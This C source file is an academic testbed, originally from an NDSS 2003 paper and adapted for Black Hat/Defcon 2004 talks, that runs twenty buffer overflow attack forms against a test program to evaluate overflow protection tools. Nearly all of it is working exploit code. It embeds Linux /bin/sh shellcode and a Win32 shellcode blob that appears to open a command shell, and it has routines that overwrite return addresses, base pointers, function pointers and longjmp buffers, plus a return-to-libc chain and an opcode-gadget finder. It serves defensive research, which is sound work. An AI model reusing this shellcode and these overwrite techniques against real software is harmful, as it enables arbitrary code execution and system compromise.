/* * Dynamic testbed for twenty buffer overflow attack forms * * "A Comparison of Publicly Available Tools for Dynamic Buffer * Overflow Prevention" * * Published at Network & Distributed System Security Symposium 2003 * * Copyright 2003 John Wilander * Dept. of Computer Science, Linkoping University, Sweden * johwi@ida.liu.se * http://www.ida.liu.se/~johwi * * This is a slightly old version of the code where the redirection of * BSS pointers against parameters are missing (sorry). It should be * fairly easy to add the code for overflow of pointers in the BSS * segment, redirecting them towards either function pointer or longjmp * buffer parameters. Just reuse the code from the same kind of attack * against stack pointers. * * CONDITIONS OF USAGE: If you publish, distribute or sell work where * you have used this testbed or parts of it to test, study, build or * analyse software you should properly refer to our original paper * from NDSS'03 and give acknowledgement to the writer of the testbed. * This comment header must not be removed. Apart from these notes you * can use it freely (the writer takes no responsibility of how you * use it). Good luck! */ /* ** Code modified for use in the presentations for 2004 Blackhat and Defcon ** computer security conferences and the accompanying paper titled: ** "A Comparison Buffer Overflow Prevention Implementations & Weaknesses" ** ** by Richard Johnson (rjohnson@idefense.com) ** and Peter Silberman (psilberman@idefense.com) ** ** Copyright 2004 iDEFENSE Labs ** ** */ #ifndef LINUX #include #include #endif #include #include #include #include #include #include #include #define BUFSIZE 16 #define OVERFLOWSIZE 256 void retlibc (); unsigned long FindOpCodes (char *op); unsigned char linux_sc[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Implemented by Aleph One */ unsigned char win32_sc[] = "\x83\xEC\x54\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c" "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40" "\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18" "\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84" "\xc0\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03" "\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61" "\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b" "\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce" "\xd9\x09\xf5\xad\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b" "\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8" "\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\x9d\xff" "\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51" "\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1" "\xf8\x08\x50\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff" "\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x33\xc0\x33" "\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff" "\x55\x18\x53\x56\xff\x55\x1c\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20" "\x8b\xf0\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe" "\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50" "\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff" "\x55\x10\xff\x77\x38\xff\x55\x28\xff\x55\x0c"; int base_pointer_offset; long overflow_buffer[OVERFLOWSIZE]; char shellcode[600]; char cmd[] = " echo Attack successful\r\n"; /*****************************************************************/ /* Stack-based buffer overflow attacks */ /*****************************************************************/ void parameter_func_pointer (int choice, void (*stack_function_pointer) ()) { long *stack_pointer; long stack_buffer[BUFSIZE]; char propolice_dummy[10]; int overflow; /* Just a dummy pointer setup */ stack_pointer = &stack_buffer[1]; if ((choice == 1) && ((long) &choice > (long) &propolice_dummy)) { /* First set up overflow_buffer with 'A's and a * new function pointer pointing to the shellcode */ overflow = (int) ((long) &stack_function_pointer - (long) &stack_buffer); memset (overflow_buffer, 'A', overflow); overflow_buffer[overflow / 4] = (long) &shellcode; /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow + 4); /* Function call using the function pointer */ (void) (*stack_function_pointer) (); } else if ((choice == 9) && ((long) &stack_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the function pointer */ overflow = (int) ((long) &stack_pointer - (long) &stack_buffer) + 4; overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 8); overflow_buffer[overflow / 4 - 1] = (long) (&stack_function_pointer); /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); /* Overwritten data from stack_buffer is copied to where * the stack_pointer is pointing */ *stack_pointer = stack_buffer[0]; /* Function call using the function pointer */ (void) (*stack_function_pointer) (); } return; } void vuln_parameter_function_ptr (int choice) { void (*stack_function_pointer) (void); parameter_func_pointer (choice, stack_function_pointer); return; } /*****************************************************************/ void parameter_longjmp_buf (int choice, jmp_buf stack_jmp_buffer) { long *stack_pointer; long stack_buffer[BUFSIZE]; char propolice_dummy[10]; int overflow, i; if ((choice == 2) && #ifndef LINUX ((long) ((_JUMP_BUFFER *) stack_jmp_buffer)->Eip > (long) &propolice_dummy)) #else ((long) &stack_jmp_buffer[0].__jmpbuf[5] > (long) &propolice_dummy)) #endif { /* First set up overflow_buffer with copies of address to * stack_jmp_buffer's argument pointer, and a fake jmp_buf * containing a new program counter pointing to the shellcode */ #ifndef LINUX overflow = (int) ((long) &((_JUMP_BUFFER *) stack_jmp_buffer)->Eip - (long) &stack_buffer); #else overflow = (int) ((long) &stack_jmp_buffer[0].__jmpbuf[5] - (long) &stack_buffer); #endif for (i = 0; i < overflow / 4; i++) overflow_buffer[i] = (long) stack_jmp_buffer; for (i = 0; i < 5; i++) #ifndef LINUX overflow_buffer[overflow / 4 - 5 + i] = (long) &((_JUMP_BUFFER *) stack_jmp_buffer)[i]; #else overflow_buffer[overflow / 4 - 5 + i] = (long) stack_jmp_buffer[0].__jmpbuf[i]; #endif overflow_buffer[overflow / 4] = (long) &shellcode; /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow + 4); } else if ((choice == 10) && ((long) &stack_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the program * counter in stack_jmp_buffer */ overflow = (int) ((long) &stack_pointer - (long) &stack_buffer) + 4; overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 8); #ifndef LINUX overflow_buffer[overflow / 4 - 1] = (long) &((_JUMP_BUFFER *) stack_jmp_buffer)->Eip; #else overflow_buffer[overflow / 4 - 1] = (long) &stack_jmp_buffer[0].__jmpbuf[5]; #endif /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); /* Overwritten data from stack_buffer is copied to where * the stack_pointer is pointing */ *stack_pointer = stack_buffer[0]; } else printf ("Attack form not possible\n"); longjmp (stack_jmp_buffer, 1); } void vuln_parameter_longjmp_buf (int choice) { jmp_buf stack_jmp_buffer; int retval = setjmp (stack_jmp_buffer); if (retval != 0) { printf ("Longjmp buffer attack failed.\n"); return; } parameter_longjmp_buf (choice, stack_jmp_buffer); return; } /*****************************************************************/ void vuln_stack_return_addr (int choice) { /* Attack forms 1(a) and 3(a) */ long *stack_pointer; long stack_buffer[BUFSIZE]; char propolice_dummy[10]; int overflow; /* Just a dummy pointer setup */ stack_pointer = &stack_buffer[1]; if ((choice == 3) && ((long) &choice > (long) &propolice_dummy)) { /* First set up overflow_buffer with 'A's and a new return address */ overflow = (int) ((long) &choice - (long) &stack_buffer); memset (overflow_buffer, 'A', overflow - 4); overflow_buffer[overflow / 4 - 1] = (long) &shellcode; /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); } else if ((choice == 11) && ((long) &stack_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the return address */ overflow = (int) ((long) &stack_pointer - (long) &stack_buffer) + 4; overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 8); overflow_buffer[overflow / 4 - 1] = (long) (&choice - 1); /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); /* Overwritten data from stack_buffer is copied to where * the stack_pointer is pointing */ *stack_pointer = stack_buffer[0]; } else printf ("Attack form not possible\n"); return; } /*****************************************************************/ void vuln_stack_base_ptr (int choice) { /* Attack forms 1(b) and 3(b) */ #ifdef LINUX long *stack_pointer; long stack_buffer[BUFSIZE]; char propolice_dummy[10]; int overflow; /* Just a dummy pointer setup */ stack_pointer = &stack_buffer[1]; if ((choice == 4) && ((long) &choice > (long) &propolice_dummy)) { /* First set up overflow_buffer with a fake stack frame * consisting of a base pointer and a return address * pointing to the shellcode, a few 'A's and a new * base pointer pointing back at the fake stack frame */ overflow = (int) ((long) &choice - (long) &stack_buffer) - base_pointer_offset; /* Copy base pointer */ overflow_buffer[0] = (long) (&choice - 1 - (base_pointer_offset / 4)); /* Fake return address */ overflow_buffer[1] = (long) &shellcode; memset (overflow_buffer + 2, 'A', overflow - 4); overflow_buffer[overflow / 4 - 1] = (long) &stack_buffer[0]; /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); } else if ((choice == 12) && ((long) &stack_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with a fake stack frame * consisting of a base pointer and a return address * pointing to the shellcode, a few 'A's and a pointer * to the old base pointer */ overflow = (int) ((long) &stack_pointer - (long) &stack_buffer) + 4; overflow_buffer[0] = (long) &stack_buffer[1]; /* Copy base pointer */ overflow_buffer[1] = (long) (&choice - 1 - (base_pointer_offset / 4)); /* Fake return address */ overflow_buffer[2] = (long) &shellcode; memset (overflow_buffer + 3, 'A', overflow - 4 * (3 + 1)); /* Old base pointer */ overflow_buffer[overflow / 4 - 1] = (long) (&choice - 1 - (base_pointer_offset / 4)); /* Then overflow stack_buffer with overflow_buffer */ /* Now stack_pointer points to the old base pointer */ memcpy (stack_buffer, overflow_buffer, overflow); /* Overwritten data from stack_buffer is copied to where * the stack_pointer is pointing */ *stack_pointer = stack_buffer[0]; } else printf ("Attack form not possible\n"); #else printf ("%d Is not a windows enabled feature\n", choice); #endif return; } /*****************************************************************/ void vuln_stack_function_ptr (int choice) { /* Attack forms 1(c) and 3(c) */ void (*stack_function_pointer) (void); long *stack_pointer; long stack_buffer[BUFSIZE]; char propolice_dummy[10]; int overflow; if ((choice == 5) && ((long) &stack_function_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with 'A's and a * new function pointer pointing to the shellcode */ #ifndef LINUX overflow = (int) ((long) &stack_buffer - (long) &stack_function_pointer); #else overflow = (int) ((long) &stack_function_pointer - (long) &stack_buffer); #endif memset (overflow_buffer, 'A', overflow); #ifndef LINUX //overflow_buffer[overflow+12] = (long)&shellcode; //Nulls makes this unreliable #else overflow_buffer[overflow / 4] = (long) &shellcode; #endif #ifdef LINUX /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow + 4); #else /* Then overflow stack_buffer with overflow_buffer */ memcpy (propolice_dummy, overflow_buffer, overflow + 4); /* The null address messes with this so we have to cheat */ *(long *) &stack_function_pointer = (long) &shellcode; #endif /* Function call using the function pointer */ (void) (*stack_function_pointer) (); } else if ((choice == 13) && ((long) &stack_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the function pointer */ overflow = (int) ((long) &stack_pointer - (long) &stack_buffer) + 4; overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 8); overflow_buffer[overflow / 4 - 1] = (long) (&stack_function_pointer); /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); /* Overwritten data from stack_buffer is copied to where * the stack_pointer is pointing */ *stack_pointer = stack_buffer[0]; /* Function call using the function pointer */ (void) (*stack_function_pointer) (); } else printf ("Attack form not possible\n"); return; } /*****************************************************************/ void vuln_stack_longjmp_buf (int choice) { /* Attack forms 1(d) and 3(d) */ jmp_buf stack_jmp_buffer; long *stack_pointer; long stack_buffer[BUFSIZE]; char propolice_dummy[10]; int overflow, i; if (setjmp (stack_jmp_buffer) != 0) { printf ("Longjmp buffer attack failed.\n"); return; } if ((choice == 6) && #ifndef LINUX ((long) ((_JUMP_BUFFER *) stack_jmp_buffer)->Eip > (long) &propolice_dummy)) #else ((long) &stack_jmp_buffer[0].__jmpbuf[5] > (long) &propolice_dummy)) #endif { /* First set up overflow_buffer with 'A's and a fake jmp_buf * containing a new program counter pointing to the shellcode */ #ifndef LINUX overflow = (int) ((long) &stack_buffer - (long) &((_JUMP_BUFFER *) stack_jmp_buffer)->Eip + 16); #else overflow = (int) ((long) &stack_jmp_buffer[0].__jmpbuf[5] - (long) &stack_buffer); #endif memset (overflow_buffer, 'A', overflow - 5 * 4); /* Copy BX, SI, DI, BP and SP from stack_jmp_buffer */ #ifndef LINUX overflow_buffer[overflow / 4 - 1] = (long) &((_JUMP_BUFFER *) stack_jmp_buffer)->Eip; overflow_buffer[overflow / 4] = (long) &shellcode; #else overflow_buffer[overflow / 4 - 1] = (long) &stack_jmp_buffer[0].__jmpbuf[5]; overflow_buffer[overflow / 4] = (long) &linux_sc; #endif /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow + 4); } else if ((choice == 14) && ((long) &stack_pointer > (long) &propolice_dummy)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the program * counter in stack_jmp_buffer */ overflow = (int) ((long) &stack_pointer - (long) &stack_buffer) + 4; #ifndef LINUX overflow_buffer[0] = (long) &shellcode; #else overflow_buffer[0] = (long) &linux_sc; #endif memset (overflow_buffer + 1, 'A', overflow - 8); #ifndef LINUX overflow_buffer[overflow / 4 - 1] = (long) &((_JUMP_BUFFER *) stack_jmp_buffer)->Eip; #else overflow_buffer[overflow / 4 - 1] = (long) &stack_jmp_buffer[0].__jmpbuf[5]; #endif /* Then overflow stack_buffer with overflow_buffer */ memcpy (stack_buffer, overflow_buffer, overflow); /* Overwritten data from stack_buffer is copied to where * the stack_pointer is pointing */ *stack_pointer = stack_buffer[0]; } else printf ("Attack form not possible\n"); longjmp (stack_jmp_buffer, 1); } /*****************************************************************/ /* BSS-based buffer overflow attacks */ /*****************************************************************/ void vuln_bss_return_addr (int choice) { /* Attack form 4(a) */ static char propolice_dummy_2[10]; static long bss_buffer[BUFSIZE]; static long *bss_pointer; char propolice_dummy_1[10]; int overflow; if ((choice == 15) && ((long) &bss_pointer > (long) &propolice_dummy_2)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the return address */ overflow = (int) ((long) &bss_pointer - (long) &bss_buffer) + 4; overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 8); overflow_buffer[overflow / 4 - 1] = (long) (&choice - 1); /* Then overflow bss_buffer with overflow_buffer */ memcpy (bss_buffer, overflow_buffer, overflow); /* Overwritten data from bss_buffer is copied to where * the bss_pointer is pointing */ *bss_pointer = bss_buffer[0]; } else printf ("Attack form not possible\n"); return; } /*****************************************************************/ void vuln_bss_base_ptr (int choice) { #ifdef LINUX /* Attack form 4(b) */ static char propolice_dummy_2[10]; static long bss_buffer[BUFSIZE]; static long *bss_pointer; char propolice_dummy_1[10]; int overflow; if ((choice == 16) && ((long) &bss_pointer > (long) &propolice_dummy_2)) { /* First set up overflow_buffer with a fake stack frame * consisting of a base pointer and a return address * pointing to the shellcode, a few 'A's and a pointer * to the old base pointer */ overflow = (int) ((long) &bss_pointer - (long) &bss_buffer) + 4; overflow_buffer[0] = (long) &bss_buffer[1]; /* Copy base pointer */ overflow_buffer[1] = (long) (&choice - 1 - (base_pointer_offset / 4)); /* Fake return address */ overflow_buffer[2] = (long) &linux_sc; memset (overflow_buffer + 3, 'A', overflow - 4 * (3 + 1)); /* Old base pointer */ overflow_buffer[overflow / 4 - 1] = (long) (&choice - 1 - (base_pointer_offset / 4)); /* Then overflow bss_buffer with overflow_buffer */ /* Now bss_pointer points to the old base pointer */ memcpy (bss_buffer, overflow_buffer, overflow); /* Overwritten data from bss_buffer is copied to where * the bss_pointer is pointing */ *bss_pointer = bss_buffer[0]; } else printf ("Attack form not possible\n"); #else printf ("%d Is not a windows enabled feature\n", choice); #endif return; } /*****************************************************************/ void vuln_bss_function_ptr (int choice) { /* Attack forms 2(a) and 4(c) */ int overflow; char propolice_dummy_1[10]; static void (*bss_function_pointer) (void); static long *bss_pointer; static long bss_buffer[BUFSIZE]; static char propolice_dummy_2[10]; printf ("bss_pointer(0x%08x), propolice_dummy_2(%p)", &bss_pointer, propolice_dummy_2); if ((choice == 7) && ((long) &bss_function_pointer > (long) &propolice_dummy_2)) { /* First set up overflow_buffer with 'A's and a * new function pointer pointing to the shellcode */ overflow = (int) ((long) &bss_function_pointer - (long) &bss_buffer); memset (overflow_buffer, 'A', overflow); overflow_buffer[overflow / 4] = (long) &shellcode; /* Then overflow bss_buffer with overflow_buffer */ memcpy (bss_buffer, overflow_buffer, overflow + 4); /* Function call using the function pointer */ (void) (*bss_function_pointer) (); } else if ((choice == 17) && #ifndef LINUX ((long) &bss_pointer < (long) &propolice_dummy_2)) #else ((long) &bss_pointer > (long) &propolice_dummy_2)) #endif { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the function pointer */ #ifndef LINUX overflow = (int) ((long) &bss_buffer) - (long) &bss_pointer + 16; #else overflow = (int) ((long) &bss_pointer - (long) &bss_buffer) + 4; #endif overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 4); //should overwrite bss_pointer with bss_function_pointer overflow_buffer[overflow / 4 - 1] = (long) (&bss_function_pointer); /* Then overflow bss_buffer with overflow_buffer */ memcpy (bss_buffer + 4, overflow_buffer, overflow); /* Overwritten data from bss_buffer is copied to where * the bss_pointer is pointing */ printf ("overflow size: %d\noverflow_buffer: 0x%08x\n", overflow, &overflow_buffer); printf ("bss_pointer: 0x%08x\nbss_buffer: 0x%08x\n", &bss_pointer, &bss_buffer); printf ("func pointer: 0x%08x\n", &bss_function_pointer); *bss_pointer = bss_buffer[0]; /* Function call using the function pointer */ (void) (*bss_function_pointer) (); } else printf ("Attack form not possible\n"); return; } /*****************************************************************/ void vuln_bss_longjmp_buf (int choice) { #ifdef LINUX /* Attack forms 2(b) and 4(d) */ static char propolice_dummy_2[10]; static long bss_buffer[BUFSIZE]; static long *bss_pointer; static jmp_buf bss_jmp_buffer; char propolice_dummy_1[10]; int overflow, i; if (setjmp (bss_jmp_buffer) != 0) { printf ("Longjmp buffer attack failed.\n"); return; } if ((choice == 8) && ((long) &bss_jmp_buffer[0].__jmpbuf[5] > (long) &propolice_dummy_2)) { /* First set up overflow_buffer with 'A's and a fake jmp_buf * containing a new program counter pointing to the shellcode */ overflow = (int) ((long) &bss_jmp_buffer[0].__jmpbuf[5] - (long) &bss_buffer); memset (overflow_buffer, 'A', overflow - 5 * 4); /* Copy BX, SI, DI, BP and SP from bss_jmp_buffer */ for (i = 0; i < 5; i++) overflow_buffer[overflow / 4 - 5 + i] = (long) bss_jmp_buffer[0].__jmpbuf[i]; overflow_buffer[overflow / 4] = (long) &shellcode; /* Then overflow bss_buffer with overflow_buffer */ memcpy (bss_buffer, overflow_buffer, overflow + 4); } else if ((choice == 18) && ((long) &bss_pointer > (long) &propolice_dummy_2)) { /* First set up overflow_buffer with the address of the * shellcode, a few 'A's and a pointer to the program * counter in bss_jmp_buffer */ overflow = (int) ((long) &bss_pointer - (long) &bss_buffer) + 4; overflow_buffer[0] = (long) &shellcode; memset (overflow_buffer + 1, 'A', overflow - 8); overflow_buffer[overflow / 4 - 1] = (long) &bss_jmp_buffer[0].__jmpbuf[5]; /* Then overflow bss_buffer with overflow_buffer */ memcpy (bss_buffer, overflow_buffer, overflow); /* Overwritten data from bss_buffer is copied to where * the bss_pointer is pointing */ *bss_pointer = bss_buffer[0]; } else printf ("Attack form not possible\n"); longjmp (bss_jmp_buffer, 1); #else printf ("%d Is not a windows enabled feature\n", choice); #endif return; } /*****************************************************************/ /* main() */ /*****************************************************************/ int main (int argc, char **argv) { int choice; if (argc < 2 || atoi (argv[1]) < -4 || atoi (argv[1]) > 20) { fprintf (stderr, "\n\tWritten by John Wilander modified by\n" "\tPeter Silberman for use at Blackhat Las Vegas 04\n\n" "Usage: %s \n", argv[0]); fprintf (stderr, "\nBuffer overflow on stack all the way to the target\n"); fprintf (stderr, "1 = Target: Parameter function pointer\n"); fprintf (stderr, "2 = Target: Parameter longjmp buffer\n"); fprintf (stderr, "3 = Target: Return address\n"); fprintf (stderr, "4 = Target: Old base pointer (Not Supported by Win32)\n"); fprintf (stderr, "5 = Target: Function pointer\n"); fprintf (stderr, "6 = Target: Longjmp buffer (Not Supported by Win32)\n"); fprintf (stderr, "\nBuffer overflow on heap/BSS all the way to the target\n"); fprintf (stderr, " 7 = Target: Function pointer\n"); fprintf (stderr, " 8 = Target: Longjmp buffer (Not Supported by Win32)\n"); fprintf (stderr, "\nBuffer overflow of pointer on stack and then pointing to target\n"); fprintf (stderr, "9 = Target: Parameter function pointer\n"); fprintf (stderr, "10 = Target: Parameter longjmp buffer\n"); fprintf (stderr, "11 = Target: Return address\n"); fprintf (stderr, "12 = Target: Old base pointer (Not Supported by Win32)\n"); fprintf (stderr, "13 = Target: Function pointer\n"); fprintf (stderr, "14 = Target: Longjmp buffer\n"); fprintf (stderr, "\nBuffer overflow of pointer on heap/BSS and then pointing to target\n"); fprintf (stderr, "15 = Target: Return address\n"); fprintf (stderr, "16 = Target: Old base pointer (Not Supported by Win32)\n"); fprintf (stderr, "17 = Target: Function pointer (Not Supported by Win32)\n"); fprintf (stderr, "18 = Target: Longjmp buffer (Not Supported by Win32)\n"); fprintf (stderr, "\nWindows Only\n"); fprintf (stderr, "19 = Target: return-to-libc system(\"echo Attack Successful\")\n\n"); fprintf (stderr, "Optional base pointer offset = number of bytes inbetween return address and base pointer on stack (used with canary values).\n\n"); return -1; } /* We add the 4 normal bytes that differ between the address * to the return address and the old base pointer */ if (argc > 2 && atoi (argv[2]) > 0) { base_pointer_offset = atoi (argv[2]) + 4; printf ("Using base pointer offset = %i\n", atoi (argv[2])); } else { base_pointer_offset = 4; printf ("Using base pointer offset = 0 (normal)\n"); } memset (shellcode, 0, sizeof (shellcode)); #ifdef LINUX strcpy(shellcode, linux_sc); #else strcpy (shellcode, win32_sc); #endif choice = atoi (argv[1]); switch (choice) { case 1: vuln_parameter_function_ptr (choice); printf ("Attack prevented.\n"); break; case 2: vuln_parameter_longjmp_buf (choice); printf ("Attack prevented.\n"); break; case 3: vuln_stack_return_addr (choice); printf ("Attack prevented.\n"); break; case 4: vuln_stack_base_ptr (choice); printf ("Attack prevented.\n"); break; case 5: vuln_stack_function_ptr (choice); printf ("Attack prevented.\n"); break; #ifdef LINUX case 6: vuln_stack_longjmp_buf (choice); printf ("Attack prevented.\n"); break; case 7: vuln_bss_function_ptr (choice); printf ("Attack prevented.\n"); break; case 8: vuln_bss_longjmp_buf (choice); printf ("Attack prevented.\n"); break; #endif case 9: vuln_parameter_function_ptr (choice); printf ("Attack prevented.\n"); break; case 10: vuln_parameter_longjmp_buf (choice); printf ("Attack prevented.\n"); break; case 11: vuln_stack_return_addr (choice); printf ("Attack prevented.\n"); break; #ifdef LINUX case 12: vuln_stack_base_ptr (choice); printf ("Attack prevented.\n"); break; #endif case 13: vuln_stack_function_ptr (choice); printf ("Attack prevented.\n"); break; case 14: vuln_stack_longjmp_buf (choice); printf ("Attack prevented.\n"); break; #ifdef LINUX case 15: vuln_bss_return_addr (choice); printf ("Attack prevented.\n"); break; case 16: vuln_bss_base_ptr (choice); printf ("Attack prevented.\n"); break; case 17: vuln_bss_function_ptr (choice); printf ("Attack prevented.\n"); break; case 18: vuln_bss_longjmp_buf (choice); printf ("Attack prevented.\n"); break; #endif #ifndef LINUX case 19: retlibc (); break; #endif default: printf ("%d is not a valid selection for the OS you are on.\n", choice); break; } return 0; } #ifndef LINUX /* Windows specific functions below */ void retlibc () { char buffer[50]; static char overflow[150]; int retaddy = 0; char *ptr; jmp_buf stack_jmp; int i[1]; HMODULE hMSVCRT, hKernel32; int add; hMSVCRT = LoadLibrary ("msvcrt.dll"); hKernel32 = LoadLibrary ("kernel32.dll"); LoadLibrary ("netshell.dll"); memset (overflow, 'A', sizeof (overflow)); setjmp (stack_jmp); retaddy = (((_JUMP_BUFFER *) stack_jmp)->Ebp) - (long) &buffer; add = FindOpCodes ("\xC9\xC3\xCC"); overflow[retaddy] = 0x41; /* Setup EBP */ //thanks greg for this snippet i[1] = 0; i[0] = add; memcpy (overflow + retaddy++, i, 4); /* Align our counter */ retaddy += 3; /* Setup Our Return Function Address*/ i[1] = 0; i[0] = GetProcAddress (hMSVCRT, "system"); memcpy (overflow + retaddy++, i, 4); /* Align our counter */ retaddy += 3; /* Setup where to return to (ExitProcess) */ i[1] = 0; i[0] = GetProcAddress (hKernel32, "ExitProcess"); memcpy (overflow + retaddy++, i, 4); /* Align our counter */ retaddy += 3; /* Setup our parameter to system */ i[1] = 0; i[0] = &cmd; memcpy (overflow + retaddy++, i, 4); /* Align our counter */ retaddy += 3; /* Overflow */ strcpy (buffer, overflow); /* //Return Address 0x77F5723E overflow[ retaddy ] = 0x41; overflow[ retaddy++ ] = 0x3E; overflow[ retaddy++ ] = 0x72; overflow[ retaddy++ ] = 0xF5; overflow[ retaddy++ ] = 0x77; //system return address overflow[ retaddy++ ] = 0x44; overflow[ retaddy++ ] = 0x80; overflow[ retaddy++ ] = 0xC2; overflow[ retaddy++ ] = 0x77; //where to exit after system call (ExitProcess) return address 77E798FD overflow[ retaddy++ ] = 0xFD; overflow[ retaddy++ ] = 0x98; overflow[ retaddy++ ] = 0xE7; overflow[ retaddy++ ] = 0x77; //Parameter 75D49428 overflow[ retaddy++ ] = 0x30; overflow[ retaddy++ ] = 0xAA; overflow[ retaddy++ ] = 0x40; overflow[ retaddy++ ] = 0x00; overflow[ retaddy++ ] = 0x00; //execute calc overflow[ 1 ] = 0x63; //c overflow[ 2 ] = 0x61; //a overflow[ 3 ] = 0x6C; //l overflow[ 4 ] = 0x63; //c overflow[ 5 ] = 0x0A; ptr = &overflow; strcpy(buffer, overflow); */ } // // memcmp method taken from Hacking Proof Your Network Second Ed. // unsigned long FindOpCodes (char *op) { HANDLE hProc; //Handle that holds CreateToolhelp32Snapshot return val MODULEENTRY32 lpme; //Module entry structure BYTE *modaddress; //Use this to walk the module looking for the instructions int bNext = 0; //Flag that tells us when we've search all the modules int bytecount = 0; //counter to tell us when we've reached the end of our module //Get Loaded modules hProc = CreateToolhelp32Snapshot (TH32CS_SNAPMODULE, GetCurrentProcessId ()); bNext = Module32First (hProc, &lpme); //Loop while bNext is true while (bNext) { modaddress = (BYTE *) lpme.modBaseAddr; //Our module base address for (; bytecount < lpme.modBaseSize; modaddress++, bytecount++) { if ((memcmp (modaddress, op, strlen (op))) == 0) { if (((long) modaddress & 0xFF000000) && ((long) modaddress & 0x00FF0000) && ((long) modaddress & 0x0000FF00) && ((long) modaddress & 0x000000FF)) { printf ("Found a valid op code combination with no NULLs. 0x%08x\n", modaddress); return modaddress; } } } bNext = Module32Next (hProc, &lpme); } return 0; } #endif